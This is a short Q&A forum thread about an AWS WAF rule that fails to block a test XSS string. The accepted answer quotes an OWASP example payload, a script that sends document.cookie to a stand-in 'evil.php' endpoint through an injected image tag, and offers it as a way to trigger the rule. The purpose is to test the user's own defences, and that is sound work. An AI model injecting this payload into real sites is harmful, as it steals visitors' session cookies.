Amazon WAF not blocking XSS or SQL Injection

Question

I tried submitting a form with <script>danger</script> and I was NOT blocked. I put WAF on my ELB and did test to make sure I have analytics (Below).

What am I doing wrong?

Here is my ACL:

Here is my XSS and SQL Rule:

Analytics: (To show that traffic is indeed routing though LB)

That tiny fragment of code doesn't look dangerous to me, and is unlikely to trigger either of your rules. — Tim, Jun 22 '17 at 19:39

score 4 · Accepted Answer · edited Feb 28 '18 at 20:39

Below is one example of how to trigger a XSS rule. This ought to trigger your rule all by itself (you can prove it out by pointing it to your own PHP page or other web location), but this at least demonstrates the general principle.

<script type="text/javascript">
    var adr = '../evil.php?cakemonster=' + escape(document.cookie);
    document.write("<img src='" + adr + "' />");
</script>

This and other examples are available the following OWASP article:

Cross-site Scripting (XSS) - OWASP

Amazon WAF not blocking XSS or SQL Injection

1 Answers1